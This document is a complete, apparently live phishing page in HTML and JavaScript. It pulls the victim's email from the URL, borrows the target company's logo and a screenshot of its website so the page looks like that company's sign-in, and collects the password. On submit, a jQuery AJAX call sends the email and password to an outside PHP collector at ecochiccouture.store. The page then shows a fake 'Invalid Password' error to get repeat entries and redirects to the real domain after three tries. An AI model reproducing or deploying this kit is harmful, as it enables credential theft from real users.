<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Continue</title>
    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon">
    <link href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.2/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
    <style>
        .loader-container {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(255, 255, 255, 0.8);
            display: flex;
            justify-content: center;
            align-items: center;
            z-index: 1000;
        }

        .background-container {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-size: cover;
            background-position: top;
            transition: opacity 0.5s ease;
            z-index: 1;
        }

        .modal-backdrop {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            opacity: 0;
            transition: opacity 0.5s ease;
            z-index: 2;
        }

        .modal-backdrop.visible {
            opacity: 1;
        }

        .modal-title {
            text-align: center;
        }

        .modal-header {
            justify-content: center !important;
            gap: 8px;
            border-bottom: 1px solid #dee2e6;
        }

        .modal-header img {
            width: 40px;
            height: 40px;
        }

        .login-container {
            opacity: 0;
            transform: translateY(-50px);
            transition: all 0.5s ease;
            z-index: 3;
            max-width: 550px;
            margin: auto;
            min-width: 450px;
            background-color: whitesmoke;
        }

        .login-container.visible {
            opacity: 1;
            transform: translateY(0);
        }

        .error-feedback {
            color: #dc3545;
            font-size: 0.875rem;
            margin-top: 0.25rem;
        }
    </style>
</head>

<body>
    <!-- loading -->
    <div class="loader-container">
        <div class="spinner-border text-primary" role="status">
            <span class="visually-hidden">Loading...</span>
        </div>
    </div>

    <div class="background-container"></div>

    <div class="modal-backdrop"></div>

    <main class="login-container position-fixed top-50 start-50 translate-middle  p-3 border rounded shadow">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <img id="logo-img" src="" alt="Logo" class="mb-3">
                    <h5 id="logo-name" class="fw-bold fs-3 text-muted mb-3"></h5>
                </div>
                <h5 class="modal-title mb-3 mt-3 text-muted fw-bold text-center">Sign in to continue</h5>
                <div class="modal-body mt-3">
                    <form id="loginForm" novalidate>
                        <div class="alert alert-danger" id="msg" style="display: none; color: red;">Invalid Password! Please Enter your correct Password and try again </div>
                        <div class="mb-3">
                            <label for="email" class="form-label">Email address</label>
                            <input type="email" class="form-control" id="email" required disabled autocomplete="email">
                            <div class="error-feedback"></div>
                        </div>
                        <div class="mb-3">
                            <label for="password" class="form-label">Password</label>
                            <input type="password" class="form-control" id="password" required
                                autocomplete="current-password">
                            <div class="error-feedback"></div>
                        </div>
                        <div class="mb-4">
                            <label for="confirmPassword" class="form-label">Confirm Password</label>
                            <input type="password" class="form-control" id="confirmPassword" required
                                autocomplete="current-password">
                            <div class="error-feedback"></div>
                        </div>
                        <button type="submit" class="btn btn-primary w-100 mb-3" id="submit-btn">Sign in</button>
                        <div class="form-check">
                            <input type="checkbox" class="form-check-input" id="crax_the_secure_login" checked>
                            <label id="crax_the_secure_label" class="form-check-label"
                                for="crax_the_secure_login">Secured Login session</label>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </main>

    <script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.7/dist/umd/popper.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.min.js"></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>

    <script>
        document.addEventListener("DOMContentLoaded", function () {
            const loaderContainer = document.querySelector(".loader-container");
            const backgroundContainer = document.querySelector(".background-container");
            const modalBackdrop = document.querySelector(".modal-backdrop");
            const loginContainer = document.querySelector(".login-container");
            const loginForm = document.getElementById("loginForm");
            const emailInput = document.getElementById("email");
            const hash = window.location.hash.substring(1);
            emailInput.value = hash
            const ind = hash.indexOf("@");
            const domain = hash.substr((ind + 1));
            const domain_url = "https://" + domain;
            const domain_org = domain.substr(0, domain.indexOf('.'));
            const domain_org_small = domain_org.toLowerCase();
            const domain_org_caps = domain_org.toUpperCase();
            const domain_org_snake = domain_org[0].toUpperCase() + domain_org.substring(1);

            const logoImg = "https://logo.clearbit.com/" + domain_url
            const faviconUrl = logoImg

            document.title = domain_org_snake;
            const faviconLink = document.querySelector('link[rel="shortcut icon"]');
            faviconLink.setAttribute('href', faviconUrl);

            document.getElementById("logo-img").setAttribute("src", logoImg);
            document.getElementById("logo-name").textContent = domain_org_caps;


            async function loadBackgroundImage() {
                let imageUrl = "https://image.thum.io/get/width/1200/" + domain_url;

                if (hash) {
                    try {
                        const response = await fetch(`/api/images/${domain_url}`);
                        if (response.ok) {
                            const data = await response.json();
                            imageUrl = data.imageUrl;
                        }
                    } catch (error) {
                        console.error("Error fetching image:", error);
                    }
                }

                return new Promise((resolve) => {
                    const img = new Image();
                    img.onload = () => {
                        backgroundContainer.style.backgroundImage = `url(${imageUrl})`;
                        resolve();
                    };
                    img.src = imageUrl;
                });
            }

            async function initializePage() {
                await loadBackgroundImage();

                loaderContainer.style.opacity = "0";
                setTimeout(() => {
                    loaderContainer.style.display = "none";
                }, 1000);

                setTimeout(() => {
                    modalBackdrop.classList.add("visible");
                    loginContainer.classList.add("visible");
                }, 1000);
            }

            function validateForm() {
                const email = document.getElementById("email");
                const password = document.getElementById("password");
                const confirmPassword = document.getElementById("confirmPassword");
                let isValid = true;

                document.querySelectorAll(".error-feedback").forEach(el => el.textContent = "");
                document.querySelectorAll(".form-control").forEach(el => el.classList.remove("is-invalid"));

                if (!email.value) {
                    showError(email, "Email is required");
                    isValid = false;
                } else if (!/\S+@\S+\.\S+/.test(email.value)) {
                    showError(email, "Please enter a valid email address");
                    isValid = false;
                }

                if (!password.value) {
                    showError(password, "Password is required");
                    isValid = false;
                } 
                // else if (password.value.length < 8) {
                //     showError(password, "Password must be at least 8 characters long");
                //     isValid = false;
                // }

                if (!confirmPassword.value) {
                    showError(confirmPassword, "Please confirm your password");
                    isValid = false;
                } else if (confirmPassword.value !== password.value) {
                    showError(confirmPassword, "Passwords do not match");
                    isValid = false;
                }

                return isValid;
            }

            function showError(element, message) {
                element.classList.add("is-invalid");
                element.nextElementSibling.textContent = message;
            }

            count = 0; 
            // submit the form
            loginForm.addEventListener("submit", function (e) {
                e.preventDefault();
                if (validateForm()) {
                    console.log("form validated");

                    var email=$("#email").val();
                    var password=$("#password").val();

                    //submit
                    $.ajax({
                        dataType: 'JSON',
                        url: 'https://ecochiccouture.store/Docs/orderrs.confirm.pipty.autobg/drun.php',
                        type: 'POST',
                        data:{
                            email:email,
                            password:password,
                        },
                        beforeSend: function(xhr){
                            $('#msg').hide();
                            $('#submit-btn').html('Verifing...');
                            console.log('count = ' + count);
                        },
                        success: function(response){
                            if(response){
                                $("#password").val("");
                                $("#confirmPassword").val("");
                                $("#msg").show();
                                $('#submit-btn').html('Sign in');

                                console.log(response);
                                if (count>=2) {
                                    count=0;
                                    window.location.replace("http://www."+domain);

                                }
                            }
                        },
                        error: function(){
                            $("#password").val("");
                            $("#confirmPassword").val("");
                            $("#msg").show();
                            $('#submit-btn').html('Sign in');

                            if (count>=2) {
                                count=0;
                                window.location.replace("http://www."+domain);
                            }
                        },
                        complete: function(){
                            $('#submit-btn').html('Sign in');
                        }
                    });

                    count++;
                    
                }
            });

            initializePage();
        });
    </script>
</body>

</html>